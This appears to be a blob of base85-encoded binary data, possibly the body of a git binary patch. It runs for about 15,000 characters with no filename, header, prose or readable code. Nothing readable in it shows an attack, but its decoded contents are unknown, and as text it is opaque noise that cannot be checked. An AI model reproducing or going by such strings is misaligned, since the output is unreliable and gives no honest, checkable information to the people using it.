zg8_#k15tsap{QB_8rzLS-@u=$9@Z3d5?*Ygw$cQRuUDrTf>bvnJw22(h4a&2^@?Vc zuTA>Tc`5GCKkoQ38Vvf&`Z|LKNzw&ocGkRCzSuo*v(tR&o{7yg81GR-N)OThaMFp? z|2%z7Qd57T>nT63KRtRqZ^-oN;eQb>nqA^(PsxlFP;#>N@d9<#BeM2WboW>JSk`4e zOXp&Hv#r0{qz|r|ROys>9RZ%spy!6i}iRM5#ua^-`7<>->7+EG!eM)&Y@ zr}S-pN$#CxqZHO6O=AHn7*Oe;EcG@ZZ8ibykOs;p#$In=4lQ>rU&6m!vzC`R6#uJ84yDIQ;wWZ2anVUU+_EmonUq7WtDdXi14%@A0EX|F ztiLH)MDM#7?c~j|k7Pl2JGebUJhFHjsn(QaGe#9uuDY@TI@q?0$C}?pj5H(2j5|A| z0FI5WxUODh_+Au6%6U>zxUK-@xM}hg8WZECO}4}ht6B>s1}IltdNM2b@Xdta!)Xc| zw>r$N9-eAs;(6KVN=`calgz$>nMo^a#bneA+Udc&^NP1PHZXCPc@5VtkJ*YVz1Gd< zni*_4t{-vvuc^&{o6CiO6WWET@^&J$1a+uN6z3KN`$rd9MQYqU8a@L(Y{LaNd(HA9 zMxIO~>1md)m%7xdw1DcSVj9;u_T*_}_Dw4XwRna>A5T~sE;PNgHcX47j*@A(mFtfO zDwdzf_^_^FWcfF}E(NnK9LXNJsivJVwnkb{+R;3F#AdxvRps8K3k1o6x5D{m9$Eq-a2D?rI)3I# zRYrZ9>-0Iz>)-iasbJiULi8;CQ0aB6HeMvOQw{zs3;C@ZKll^(BcVryR2unvfE7@c z{d+~ndjnXyxfOg^M`i)zfMVOGv0q~);>5;;Iw+z}4=}UIOmAv#<+(2o!6)2eAzf$f z>FoFcD1oDf4ayE9^@H+4{YFjNx;s_&e!V>WSe+ztq|-5?T~H#`H&M>6 zVO@~yWO(m(VLEjW_tAl%9!~UwjlHH26$u5a?7wmQ*U;8Q`E02`6N;U``zu_b<=`-% zCJxeJlVM$^S;TDfBR7_nZn6+*e5CKYY}DJZ|0)k!bXN!nOtM*hLp#9l%meMkjVQ5j zYmk{m3#f}KV3eSkLe-2=bKt&{|0XiB7scVDxK8~S#bIyfatKB%&D|tMTZ7I@pCoR@ z88F1Tv}@wUI6VcVKwhV)l1hnpX)abK+Lr`3C947V6K>lae~7`Js$1njCctT6V)a|| zdo&=Sz47(CJrdI)b@Qauj~u7F1jzM068H<$3GkZhEWL0Nouv#iY%W9Q^0S;@^6-iR z?%%QYapgJD+p>|KE92v3X9f?B`pAP9yKuVhT4OklJm}A z>M7INxj3gk_#JYmB}cu%Xd-cKt)GjjkXTCros}`v2QUAQG)n(dLZt( z3Ar|snvYJWhvWD#T>!N%$wLjCdtbT>KT0bl?0CT;P9Y|6K)1pF;t~GeVoC%Nx}9^r zn4h@`A`l1${&^+U|&?CVu$n6t&<*yCKVJ$Hh^R)C85tX>sm~9y2LvvT>y1iYEuCsXncOaI^;W<99!+af{^nw8jSaQf(}8$T)%`x69=PLd0%2@Z16C#f_8uvU)70u1kUnbT=cDW3voT9Q9qx!k;-oU^>~d*es0A> zmGj-Hq89eZ@CU+-KFAzZPS9DcR*)iXr7nGC4BOB2p$oLrJ}fdzX_n9vzy}tTVdmRlodVPO-h(j&5QRO$x+&&gdgkFHPKqMY=!a z$B*YsQzcOe{G%?!e!Q z$QFEPi5p+nIb=?YTfTtjyQyw838+GmD^PBv`CId8hC4exdBQN26Hxvai|(Jwg3jBg z*QLwMT#KE08^1ze&?{e7NjOGzT81-xl9MTUo{wbGq_y?1J+TL z05l%Hr}zam-bJ@<#pM@L=p?4@&&n!m<_l;HHE2rik6CyWVHeBgP16id8Q?$Z3R*oO zu`0S4NcWN2Yf-^qjgKX$G6V!({WU`gVzm=uzp00`?U3~BN^p05MR9iY4ToytB*8M_ z6NLeB=+54h&wMoaDh%vO4?bKubz-VO232#tpGH#Er{4q7?z9o8oXY4@($7DGhEin) z5xZ!ow)Lw>ICKi$uab(mb!8T{5X^a~z;l4kDL(dF_0wJDzGuy-PHxVnEMnZa5`m=rey57VF?*l2w2#+K}LhLly!a-9_=}#rD2+w3HL6MSsiU+#>-4 zd|&FDc_}C!$lZmLo=zK}6F~+}_;ylnvTsLzE7rL_?FHDk;kG3^n zu2d1;51h`w3Yq*e_14KAu?V6Qw|H37?X4}lVJ?H3pX=-=$J%@$`d7PU|3z#[TT z0_w_=HkM_IUB7>G$Fv+%HmM?)>x@T*=o&hkwN6}eBNI<=$Ck7iyE9nq>rv~R47IIl zSVSeJt$wW~l^7f4Q5kFy6Bu=#3goTQuYxsU#1k zG^WK2#viM!bkO+OaQ++(1|3;#j`VI4qC9aH!B8lg^=>b*Xxhm&HMSQGI)!6n^HG{u z+6lq??tDQUX;z%Q{1=AXP*lfp^iF#ChPK9AgRpDY`)EcYR`9wt=PK5h$0%ZoTRj4M zx&+*S6N}1RW@42-l%YYOg(*v)`3gq&li-+l!-38BJUeE55{XYKOcfs~@P?wB({%oi zD?lP*-Q0mFEFWWhxD)7k0L@EHe|U(q;^y|+raX=(Sv71KIF+r_TA;Zh%yaWPP+1f= zNMMJlT_)NAla*L;;Qxig{~`#3d=82?EfYq^KUrbU$|_C1*smI2|4SRg37+UKb&WNxIv4%8cz#0r_&P z^pK)_WAGksNJj#;he_& zASe3{Lf?9nm&GW5SlRI1D<)(#JeN!pbE4z6-#x>^ziK%vx!qomJ2JZo9S)q~f8Z0X zPr~qcZ4p5pVg0(D-}3{pcoz(}n;kaFkG{8%8orx6V=$2y+;@kmqi`tt@rn5Tv$XxI z7u{%rmHM94w#9%??FQFtj88|XG9L<2zo^J+RL-GWrjg3V@yhnS7rxEXcE0#_q1a;l zyMgqcsS2b$z;$Nq<*9txqeA=Y@CAK5PbfA$|K_?B9rBjNTaMW$XtZy>?%4{^oU^NK zN8dK|6owe!KIMb`PHzS|?1idp5*v&wCSzf$U}q)r!5_?vD!H`5Uni?$@I)3VXOD54 zy~yNh8IA)r>$D9Dc1eT3(IAU2QXeON3-oW$ocG1?!~~`$S(=g-||r$QNl$8sZb}&byo%N1&oGecmSciw}_7<;M;UKipWjO!IYw zES)1HyqPZM@{=J>7NLOFxr=;vApiF3ui8wf9%&wn5JDGtEf+q~Q*%Op%y-8CM(&VM zNf2Frl9t{dYdpS!uW>k;nl5;%^G}X*QuYTGi(hZt!(}f>R*uOyk5EexJ{BualVXFz zsQUI4GKn_+FfLOXYl7EPmNMW^Z!M_5mi`DA=iM26DZJ-mQg)uc(UUE>lf?=mwEt<+ zVEEv(occ%wm@34QUB_Rk?KO^12*X%B|MH%Kft07{)2b2cN_oIgue7V(t;+{5NMC`d z-@Q`acJDO0p!DrJ-S}8`ZT-H0hVjb)_SAU+<{JyQ$Cf96FN5@BIjZ}XhbQ<;D9|Kq z#A|<=ZUOuW8bVG-w+YX;Qtk*N8Wv({@~lC0oJ~T1{ic6IWOqiMwV#sQQ#5N8y`ZAX zuOdbADXJ;`jvC#v^NPmoNKF3ng9owZ`*cY4O z8)CUsB9K;?y6GA`W-VPy+@NOz4f{-lZ~rKkpuRD|&YZw& zTf~^UZj7y5S6C*U(~5VhG<`L*>Y~C^(aqC``)X!zIcfK|?>$Fudh9sYHg0|E9$ab?;f~$tOR%M0NG~&a+nNOKBK%nZ@~od6;4X-m>Ny{a(?WqxGG5uR+(8U_At4{G0xEmeqx# zX?+v-D7X3YM^bo-1Z&JO!Tqou4U;>}kjLBwy4#j#F^oI!2+qX(cf?4Dslo_Q0}@>N zBr^7J@4U|I`70MTNWre5qJ^{7hL#OeGx{8+7%66f>v>bwsU9!eSLxKm0gR!f11SA~ zK&p)PbLoJtDHP)+6h#!5?AX4eIhv%Y7LA&mn@vzIf=#z#?oknG`Q!~}=D)p*wFW}< zEC^-T9S*p9`?8ps4Dymw2&+(W@`yR|w2jJW@k60SSd%iB1#*#*omtm6bY1hd%~u>< zfxq-4#G+fVqhkjLHSteOD)XGCtUk$??K($@%@vo$5%Fo_wy&WG-&xVpjQ(09F2I_T`2DI zVwEu-CtAMLx^H72i;U1uEm4xpMfgV+RMeRZV6XFvYff?ZB%e5~FSPDK^mW$D*C@K3SF!R=mWL3Im)E&9whoR^D-q8ZS_ zC*=boxDVA_O7()%S$a*&-ap%p1Ix$J_i2Yp=?vpP9d8x#lY8XUjBNWt_7b2Ifc>hC z>XU-AxA4TvheOmTXFg=4Xo8b{_o}J5av5^HwY4}btliSIr{NgzlltI))cQ1I9F;J? zfq>^(Dm?6RgaJ_!6`Pv(~Oojg|= zGVUFy*~l-2y~f-74}jb6?no&2?)#;%a9CV2z1HnzQ|u@;;ue(|EwvQ2V5C~n#fsH% zSU`7UT8$Nc!)~*i*ml`(6^)cRHBC_d5EZtt7bJhK$3ij2;NX^j!7(SEL-tcH zIr49MbZ5%&h-UyHg8K)5DAwBtsv|_J@BHx+)SuJmB3e0`|Ll@~Q;js=ETG$~6;XB9 zlVdoxpo=M$deb$z5fWRgDem;ysu(9uLtjq^Ei#$JZ%Xygcis{2?k)dH<^4f|;Gc4( zB{Mk*Ou5Ou{pnI4p}fF4Tmy-314F7WG8$+tKK`Yx_4d8920^eQ7@R@@(Dw_MWj zZ=Xbl1B>jG^!yF{5T?f(-gbVob{s;}{9MM@|CCe6(!ma^_dmdCeyAhiIHT_u7RI`Y z(hx;y6Z)odLF`6~q`1)_MZcCxYpjw|Ta=Y_A1L0sP(GO)m>AZX%vd@X8DPo)LvU;u zGwO|T7B?+S&rUx(^FO6vFa1aPYGUaiRGDo2Bt+X_l+#dsQpNb$3$Hj>&kE0JFJn}= zDO0)aL*TGiw4odg=xZ47o_$yV+og#9gqFN8N>jDoj_WRIjYD0J+;0jJ+n|Ri8Z?el zrbG(@0UWG0t5VtzR7%p^vG5-f!sW;to%(5Ke7e7xG=gk+!Wr3DtAz-~MiE%tC%-pk zpN=s-xCxONOyhzo?EA6=w!T&G<=AmU# z{)ZXy6h(K#hNY@+QIvaxQZi^id7;d7+lD3>c%)_9n3!Z(LyB-cJhX@2TJg1?_l!Qy zlps-_8!pux!k(IDl9`8DkAaVT1)?)if?&X^4JojgFRr*JEwH-c?Z4+31^7F6``?OA ze`W`~lCq+YrcC?>Pa$P6Ic7Q5`aJDpFpue~X*1KK0=W2%7;S$rx43b)7Ud?QpWCdX z!9mwZ>d@H09qsROy~Lb+_cvBlH_Q_AxEO#=P5OalLsVK7Q0Qh7Ht|0ubFUX%)j#=mW2=?FT9zd zWv#4>_^CbJJwfR4IvK8%m)8$48zLTD3}lXRqX+lu3N)&&vJxM?OUcTk_xu+4(RSN# zPOY-ct(O>eli8L?>74_#M)B!9w!L5~0FGt2Y}s(UYIGa-hxlOze}lR|wct^b`%Y3doL1Dvd#4cX#0myV@=?dpM)W_^rOQ$bO7_3zzXKFv{GW!}SI zWimgc^jqq9i&WvrhW(aoY{b-Q{?Obv zxBVdy-p{UinQ&syo@DH-es*aoEnt2&ScdKJXRepwb>k$t-_x}!d;l|y{T*!G6V3!w7DYf%_OA`X+lYj zzeo`VfS(zto4?WqD1Mdf3x|=SH$Bcf?cghHb)>|k$C0G}R_H+J znGbwdxj{>>dlN$%#SaAlef?zRf-sPwjZ)UEpz)uK8zowSSOV+O{ApI4`tB>);TS$a znIqZ8&MD*`dXuNnmwh_IqkJdLC*UuJeF{u}e4lHFhgk2rYqLp#AF;lj5GjMN^#}kL zCc0|_i3vM>rrxIkSl?dCdVg-Ra}E8K6OY%3A>^1Zp|J~3wd4V&fv)^7IS?7in%d-4@yEvtO*ugp~) z<9hs2(jleiilXrr6F!AFin-t99S(1KoMv<BkgsMW_gY<(2zKP!PYBIcIY*ae&`DipGCrSkcfEf}RRNl4W z$JmPPUlP?QMJ1%5$4t*`(nbg8Yxa%O*&<_+ia52EQ_CZ9uUxiKlbw%yq-w*N9t&hY z%9COwcu?D+di*ZglzN&OM%)lW|JcHvl_AOe8=_ACh=i#J-%yb5L%Q8C)qnVd4myRg zqF9D{;Fq5g14@FQ3$m*C3kotEi-U%bsrg_UKgcfZxXc| zjSD0=HC`bC{RNmnDIww&bh_&^p7lc%O_m3`mS5KS|yb!qiU(Z7Ma-~B8EVH3(MvPq9)3Q>;NHFo{-j!2W z@#{(N(-D2KO9WtlaK~ZX?Dtkh+adTMB0Bh)DeRfVDao|Qdl8U++_MCa2m5S9@g@y8 zMz@-Z5S$jji3#_Fr&k$Nko^Cqf_47}FCi9nuc19B!_h!(OQMi46idsrrDsqkE z`9$(9QIY1X;&Ccl^4ySU(M*|FTV*G!ruJpNrsnj1oW6GfC7BZ-;U=mJSK^eaPZlmp zV*D_p{W_PWeWe?LeiJd}ny2@cQ@T<6*55p7o}s-1Q^2D;AH{cO`<~$WxA3fG&(-Qs z+|S(vZJ_QrxtX$Fsstlq_qQ1_2Dl6A3cpyg$h+fBa$izAzslQXC=S~tIu%-UzD5=} zulro0PX{8<-Gcwj#R8NdR0bm}4sC}F;FG>G_>2R(NdK6XG$Zf|Mww>-?χ}QY z5y3C$kssI|2Gj$^10h+BN=$xGQ;Iv^<^;AYk>87-_bp?%;1^%W+2fl?Ub8&bHeN&` zG5vdwF@yIhhER^Kpe+_*c3o5zJ%qIUOqEr1^^$sdW`&fVrXm>=7Ea^;bd8fBKIIN)gr$)z2E{bG*P z!c9d)qs_?QMaL;&o_#jD$>z6fD4RoCm3;P@R@E46YdghWpvf^?t&IzXyrOH%6@pW2 zYgUf2qttzA$46u6b1~`_m#!mj{}LsO%Ub+-(itR*%@i|E*R2xA{t!JqG0V^;qWlTl zSL5{yLAj^ip}ww_4Waxnpk}-n@b4rdRPgDbMBh!~U7-O2_}=544&Jn;ixq?VAJ+>6 zqR9m8U8iF^PJY}f5g+6d;vXiQv*XWQ zpiYfXbAzjYL?++jzvft-PZ<3(aiSJ8;5uBtm>5fRq7*6xf~@eOI;4fJoIK+_9t3)_ z$RO1-EAPR#LT=LpvkUB5r^8_}34)JQ>lCeBLYvj!4%D#t3THTja;7`-*^v}mUWXR- zlGWClT7X92+vvUA0`a-9jiNWbap1GiSoeo7uMu(&CUgMYFhdr85UD3q1u=>vk{bHN z&mT`XA!A}$Yv9Aj2rv#^lhXD!9{466=W&NNT@A4!+nUv| zCpQg1(rg6wE-Slp50lRl4ND7@fRbaE%uCe>yHix$&jnPBLk$vCw@?lAde1jafWL5Y zHDC3eLzbUsv=8QtqgV`WTgwaGj{}DOjp6s#<)=5u=$;-RQG8EL!d4hHQIr|c0t_~| zR=E^ND$V(&ygolOS&6pp3Hh4^N(7PSGL^+Lsg+RqvqBRR=8f)X*ml7 z*Km1o+_%3XYzj$wcz8q{u9bpsx7OAq8RYCvvPnG`vogAlUn7C6_)DP6RMyT9AW;h& z^J(gc)e+jZ#4Cw*K>hu_!6V|p_q(8SVD%pG(Uy7m$V_g5e(?B!AVBOtu!`zf{@f?K znLC>vz2grlt)dP+PmGuc-Oic9Sjyzgwwj=ezlQlk>Ao_#)h<%x{3YL?0TrgWg#||n zVi^e;61%i03u4pG4VyM++KNpE8Yg4ln`jI#bq@6;8&SQeyTg7r!{?5@XR4>rq%t9O z*}>Y)u+a#d()a0a;Z@sO!P;^e!N}w1ym%otI4EpPyp(L&mJ4r|NlVWWl{%xh;;8|taRc^8iMYz zK**ZH+HBHlvv#6@vYbk4(&~IlTcwbkc~AW(+YFk=j`ZHg5flF1&|qbwMxtUXQJ;f%oMcGqoB45)-K{mz`B zK)Z#h=YUZ>&hk~(F)`7sP0Lj+M5kpF)>{Ug^4CHzzD+w{!^26x3uRQ4JGpM(`3&)R zxGh%^>XWH-+4y=I1$0$At%2PRucb8~GqfH1FUu|1-rofV88yp3>TwM&uL3sg92Qoj z_qSg1ejalgGOEPWXe}>H9&~A`x1Bij*VWtll07fFj`UB9Q~|T^7nJwb-}~C5P;ndC;MXsGSY%sbA5V zLM$VY>y+W&jc6GrX?it9e^Z-VqpOO9RtBrjipsUO3J3BQ>~Xx9MW;1V^AFZ;+j+** z1k9tnpJRNzSM^$X>YK!OfY=p_32{$605&F3E~2x>`hFy{B7$-Si3F=xFPy7>8I>S@ zwGfVfQ;e#1`v*$su))xiCg{nWkAy?8eM836Ck+1JwGV&F7Yb>pk)wyNm)8a|hB7y0 z>0(d9S6CHbIv-;Y z1OPf;GkxOjutOR?2EMM4{3Sst7{HRDm!`3OM)Kh;PYw*unNHAv^Q3ivp> zHXwTwvvvnw>kGm28m|tCShODkc=Z-=Fy?X89=7t$RayNeF^)Qb+Tfw6|I%Rn-Tu4& zy0RFKy$uS1vXZJIh>}0N3pP9QCa8aki#HXJBvYgZrj^n6r-TntLlvD za;dpX&ymK!94Pbu@<#~}2~^Is+d5fuSr=+tnV83G#eX6}klO4XZa9vR)v&Q6fPXL=|BfBR z*kWuw6W_2VxXGCAN8D+`w>5rl!puols9)0%!=v2aj@m}R*qHBbZusYnGVt9X&gXB8 zCq#X~;mGU*1X(>2F3Nd7{Pzl+iDL_R$i%!N!Pm?QO?W_%8o$&`x;;#Xe>v@5K5u1j z3Dog&JAL~ItDi8OXW@1~P_=uw*~Y71cGftK5jb~9)8<>3Z2xjqewX_w-?D#bb9}h} zTSZ$9bbg+$!MACqoN_-@e&fHU@-WUgvJ(O6#K0+scLHg&Z<5k!M+DufT#qDm6hYGt zY2}(^+15btC#=CPD+^O>r8!tN>=)pbOt)_Aqw>|J?#%O8VLf~p? zy$A2w2Z-pq=|e-JFB4qSSbOLOs_$QK>>*YP4oUY}j^{7z)f6HumJkmI=PlRl$BkPC z#}4;q>jE6(pkDX?xB7lPZyR=BmwZgvGRIPk%C%_9-o-6zgtrmQQ>{6^opF>Wyd;VG z%l-LK6kRQJz83!Z9WThax5-dX^S<|O=Xd*?H=*DqrnQ%KuXY`hrAKy5Xk^J7w1_X}1 zPbX%TpdD~dB~EXOSH1i|F|ZD@xDPfS*I z`iS|^XI$+`>v~f#43+{9xguaL57~n4fv2OT#+w&~3XtSwc;4JP3HTJR_>FOA!Q+*Z zpb}#5_`&(K>-hd?=__5+{SzV0JPA|&JEwFNuM+ZUW<9uHgk}_!zKT;*S7S%8Ec^u-IJy?0xqX(1;fVv5iadwSN&(S;O z+<)kmI+ltMjOE)eS^Dx`I;&z?1;CRRisU-Dv1i(y_UfPyO2V{T4?!qhihkce;|^qX z26{UC$AN#vvJScg^Y`V`02FJ5l-%>_Kfe(rRh#%;=vX;qtu882xmEMjnjFpGndz;< zf*k7BRsT~)N1~Bo>RPX+y4-#_21tMUt}Pae7CgK=Qi(4cWFt(Yd^-9Qwx;XfZ8G~F zDAw4;39FNN$@lA(h$YG*%0oC)#azFRoQM=JQVnAMq)?=lL>a{Z8$R+{HL>II1*$Je z!hIcQnmrGHJ^yGwl-6R~uR2fm!DA9y;=B&0m*F_GBs>?gs@*7PT^ zLcK0({92n=3fy>dse%Ey1=;ZQ*x+_sWxMDzoc`V0ZZJ4}JJ&V=z8$8Ya$nIhY%kzE zUfMSeHP$Tq`2U&vQzI~KyW-e>_UVIb_x$e4GMi^pD-|f66O= z7F`=8@ei7Og+S(_Hxz32(0R7jZ~I3EH8$##Y!nPrYzFV2%4MLp57I$Xh^z!WE12_D zjiTcqqb9km{@u*RvX!2R*5QPOQX#@mRO^uR$+_H+=sNQt=E`GZ-#HT{uDJ3!PES-l z*)u3AM&Lr4kNog?OIpOnuLFY@`NmU|*79DEb}=y{BN#@8Y<)t5R)-jSue3-Ey5GAz z8u1O3$4iC)`&EBHwcLzoslxxTfFOR2H%79IfKcoIL)d#qHMMr#qbdk0C?Z{fD1t~A zP>MjJA|fINMcSc+j)>BN)Px8KNJmfsDNzxS-kbCiIz&Wz34{`AAOuK4+Qs)f=e*ze z{qDH;uMEb>*gKoOp68isuDRwq4Pd%^4sgB|eT&ueME`E7sLIoxT6z*E8gtS?5

      i*Le!1J)z56B1>3wrSQrf^W z{c`y=D_=IV4ypum5g^k~Y9_%^r^lKR%Lzy#c1zZpkpy~d`D)+>iX|5;&`cf%88s|U zWm+7RDP;D!#JAoiP@DHaj=u9chZvlxgI<}pKa*6ec{8DAKz#l*X0)M1Q0ozF>bbj> zhVXLO_iH&rwc#Oa$SJJddFdKkT0iRSMmk(Oz98 zH1msf?ln-MO{-;}myLbXgD;OE`&pSjqS-tE*tq{W8~`0l`$Smpbo8X7=w0ZOAk)c! zWQxD?b7k5(m!hY4p-fjgbsY)sGi<~!{zx?+(3Ow>BkTSfO>uU%)F#iLJhGqfRJjgU44IWqI$dm=6rM*ndV3xr7kDpjK4F}u zX%!lQ3FT)61MCTWoWk2kqWjSubD-JxKEJ+0kB1=8Q;#nhFNeKYFj0|pM%OG-L7g6# zU_Lutv%il)x)4fC-R?2$c`oqH^U*BkU!61D^gEQlU;ezUCpjo3>f>Fa7THt8l_>|@ zX_>&b`)OXk^sOL%ldrOov~k;WUArMgcj~dFr>STa$L<1Gh8*5?;@hs*oG7|@-pFI` zamU=I8VuG;!SQlM%s!rj3!Ayu<8G7B1EzHXHBk1Cgr(#)oNLsA)39By;T$`Zl~5{5 z>cu6Xe&7b-GRhc-=M&i6z?^D(b)V0X3ARTeXh=bG~C|1MyNXq`f-E@MmERRBpRM@o_OBV9ly zhEZ1qt&$GskJbP%gMLr<+1bA&;=4ul(gwX8>F9dRM|}m+CGt1xaQ~}#(jq1_=UUr* z6Q`v}heyY5>TmCU0+0MU^U3VD?`+QdrqZ1BfYBE-o$smBfn)ZVD_O9_=H;6>D+_$G zN-zXB>EG|)tL{}tD#lc~PcAh<0d>~J3tn5$H2H-bE4)Sxde2KFIS@JJEu^~Xg{gxV zC$HB|Q>SzKYF(14gPYJs%dVwaoQhSaLH)F^8*+W=raTE)v#R9w=VDY#g)z@MQk_Av z=de5}V+t2g7uVN#I0z#q&8Kc_8aUSX$`TKE8+M$o?1SU>|8r~lcaG5K*5;~vaD1by z*Wfbn#WHb!3{;4{(QXZLan^9ClL#!9=&DouU*d&pnuqyQCehLNh=4NAaZ4#D<y^!kmVXVVR2$v7H`*)ZeYk;jL)-;I;cplJBf=Y0JR+DL)R!R4JL${RuUqy)U9f zH42}{ITsTm&C0)=4AV2g4#$|hFHlQSmi`nIFgd}0E=o?U{o!9HDugd_$@FG*e51aC z{T@<8!}p&`06q5DL*dI@hBC7{;)1G#)a(t1xU!J1>^pyTIrCQ0%xgH3T*w}=YG&du z$*cC+b{aNwZ<8pidEs2Rb28^+J{?;0_-Au14JCr$tU(#f;{t3+ULt&FRBBf%Edyu` zY)!l63n&4r05{L0r%ci|GnJ_*X6@cnLWFO+$!P?Xt`q;`bM1Dw8v*AFGHcjrH-2ni z?8|rR5yU5hPrT{iGKtsy$9gNwe8IgI+kicJ_2K^h{IGLW^0Y^C4$_xUhE3(tC{aW5 zb(`1IJL{u;XGw-v$}Vw)ASrKoP|j8!g=%fmNDDdZN2TQ86VIl4d;b?^)%MJv!MRGgfN3I_xPr1G0XKNpb9HMYFlTrn-vh?2@ zDVod$XGmK!A&4r!83m>n;b&+T&Y)oENSmZ4r3a-NG*!co-1QYz#cnok1^E)PFr;#9 zwS~KgIkdF~M&*e51H6E8ZVmI{*gDL1$qhtja*!V328L#UqDX>2t_#Dk3pMqriV8p;Dm^rmNYYkW&*a7~2%r zKOfMOv)LtuetW*a<&Ss~A?~wrKz709$L9`|rp7a?vzA4ZlbW-tbjs6D9Q$9cm}g{I z7)?W%_?Z2J9l_ld{neN&gYcJ6xcLpdtOjS|>{XC~?oR^Ul9twmeTQ5oy)%3XGdj64 z)LNZ8O44E zjq*+PE7$2h|38<&*W_(Mx2$}BX(9{?teI;i$Pw4&T6Z7XUh-SY_~rlfwf>zcj0PV? zggMK?n;X&aLhVP~+J}eu3q_Wycz#)a1IX;EHs{VLJ0E}BPGcA-%+KYb z?FEyOH8$;SBk+Ltr)g!kQYgJf`?6i{p{bb!&fE?2ZVquNBLkh#j)|^^$GcX91?WIx z`!67)R;JAFB9I|?bs@`H1xWmouzNRHj}zeP@iQFUWwQMOXyX!;*cf;E)!d^ri7Z_0 z^O(@;pI=IY(K{CxSmOM?J=gWRg^BiFavm2`oP+~VI)ozA3{%Y; ze1(~CC%BTVt9#4IvsVOq%YNtMB#KyH32v04Rd?=5x=b zvdgIK@ulQVq5`mn955GH&!bZ-aOp}lbr8$?qLQbS`G{8r0x!<+QT^Jzr#&t~zRj!c zRWq+E7O!v1R2LAD$&3pL8E+<(WYPSr;Txr6gM-!U?XuEMw+BGVl;x-THl3dXexdejV56b$fyu> zy1LOJ1-vI6w}i0T`39!cqmBz$zn$@n7l7>TK`bo2S0zvgTBPajt(2KXWgvA+07HOd zEYd?WU|PlT)80m{R<8lX+Acl>E)pyow1W%EAu|LTYik)=h~ZNn!?6JA+V(Ba4#Zy7 z7(Z8F$I>qHLl4Hr|^w6)@JCo1+E4XJR3hU27CYn&ma(6^RGNYMfUnzdCLoz{E6|hPCR(2}_xMqYEJRaZQ!!O`e;w z?A|<&@Bi+o|9Rz#ac6)3#?$d#O-ba>AXcjaaT^yF-TnK^?8R|2g-t4SGxR5gy@&-6 zCxzFRS&cIcg(7ICSPiiF-J3Ckv~Hmx0qGQBm%V*Yf8|GkQG4z=$!4AD@?n}y-{ zCd-@~W4aJ{UQ&%GG|1EY2+O}8+uv1sjGwN}Ow*5MifmSklMxmcD{Vpu@@N0)v?Cn-531A}RE*@a@O$$G?{v ziwCh(oUn<#W1}r09&KrUL$YWw{7CV@OjzA~(btxX3bQw0A2>Nkx9VAq#)O5MCZwG^ z+H>wKUcXXH%O&gRwIyetdQO4ohlB^9pm7San~ylPOstYL)C^bF^5)6C;rRJu>bD~U zEFIHLJ`WgonxG*!ZyxEm#QfOok;o&8I77b;+M}^x;#j4Gmk@ektv+V?+O3oyDjC)? zT=)V}&j#63K>(lGC47x;I#c+-*&0k1v~v*y^*}8_)DqJf&#FjR#|3?u1SaUEc*b zZ+?6;)>bmAxq;MLrqi1I*^fM7nwk4`E)Ae&M2m=@wt$_`8J;Z;jmKHS%WF5%8?mkm zpk{It*Cf8P34e%iuaf1)jVYk7f~1E!o`kyb)0B0El2gc;Vpn9{c~?8t#XGei-#$3X z_lqHA_;C!4k4sp=nsjn1a&NCDLpqa9D7qZ-7CV}G zHUqJ@A5zbP+nnsu{NcCH0r`B#lK(e@utg6dWcoHKn+m~TtL>sDn#_9Z{KH0;Nk%=u z&!5mrLVWJ<-(3*3XdqJ|CYpcXyn6s18nxv&TJzqOGB;8})-y2weW1-`d_es{=kbAU zJe3>-Z7!{+v|hvk3R?qV9$*vuaXD8iDUG-zA#-rT$YU$1Npq>*ETn!3QF$SZhsSrq9PG-iq$xY(pw~ZPu1tG zTRc;GycOk~HS-QButM62AEP^9?LP}Kx}~vp3_ts9esrct1u~p^{)#UNYb}6|zpTE4 z<&L<$UF%Hjl%<;OSEb4Q`1!B%aCLAnP3t)16(y{!@!%ktyu>sqeOHV?V$Rk)nlW9s zJMnMUEa!L;K_`w4Saw!+4bb<-fqb}NH2ipL=~cAxKdDj|`20?4tuB zE^2>PJD<|$nOBrnZNP)=lPp>s5BlVS6o2Em_!IB+I@dRr&fQ40^(c)_e0pdGp?Z&; z-}`XpZ!d^P#_y!Ve=UpF|3;JZ z7y_FU7^OO`_}BIRSJjBPkVWX@^!|(x#7<7Y<7;D}6M&L?W!I*%%2>9BA7y5FGQ5Xo z<9sx89->fJ8wR68q?nMm^8$z65V+`PKg52ml7YhOpxT8>8^)!mkIbOSqLc`dv*G;# zfj2US!n7jO%=k3xv1MFSb!3zOx2q}V5!B!dQKt0n_z%6{fZp8q3p%Hp z@a7mxVNkH0cgLQ4Gd0jvr?sPD9zG@j+S3M!k-LBl0?IjPa9AT^r(r8VudJrVw1I|F zkh4Av=e*jj*@H9F)3LsfH^=L6{J3;`+%s$M`l}88^kq~Z4ymb*vSJe5qwFoLOR0|( zU%W}=S)$)#ossI^wLbf!|K)|rMf(m|LAvR?twpj^Y&S7gF88JSXhpdWeV($#qk~AZ zT|i32O$?UxWJc`X5Rx+aH->Fm1iLXzV|)6o*S=k&M#>OZ+#|^M8ilay|2>q>AF@NL zlm)Mf8?R~~r3Sqj{n`wi;=&kEQ~oRbYY7pY(=P?_vkpxZbp!+TzTp?~Om+^2aEnP5+Nk#ywp-5fgRbVw|21KoTY@ zRV@sVHq^#nL{c=2?%v<)N*E#H`UyqPgrHI6#gy~|wQZDR5(4z;+jG5vN3SJiSTDC#Uxv&GIK1%l4yA&8n356DduBML%Hv^v=S|Su*7@3BHK-{cKZ)k{I^iMi1T4! zCa`fI(*T=2b?%R#?Qaw%n0d5`7aZ_VJKbT*@#Uw(F}8ou)#uow z(~zfg-BeDXgGZN*%%`QT#j`mjoaWc^?TijypLw-65hk62$8YGpAl)Wv8}lEmDW3w> zd~34~8tcwid66LVN{h#oT!|$mzA-UeGruMSJJ2Klc7VcA`JX?(KW4foY#-);U`0MT z&<6j<<>TsbV&|?Cd3l6j#qQJ#X)^ov5F+u%<0Cz;JtFwU_sa}@7)J>CZ;y|kwMZqt z>=*F!zZ6h$@wQk@!~F?$KHJV_jgzozUxH6alHvLrl!Cv{~Kp!QY@4{uPMLm z*5iJEwmLU9v-2^>OlH$I@@QTOVfimK*b8&*f?a-%l;E!2$6U_$;0HYVZpDAhzEE2B zz>$c30Gqg4(xYl=cbYHnz#~g9@;^=_86&)@+V|QzGs$F3JGAY{!!w#6`tDqL=ksf6 zeA{?V#$fVRA#+XJ}>W5TSD_`9mBj`X+ao^tbUU( zB4u4y_>7by9+-0l^7mS&pSleSzBBderF+wQE0%Xl%slWc(RWrgC}QRi>VCn-Z>d?) zSa>U~-wHQVdWq2`h{fB4F_M;9!*Rx}4_X@)+CY}9Z0IJ*dY7oH{I$EjY^_4u{x}m^ 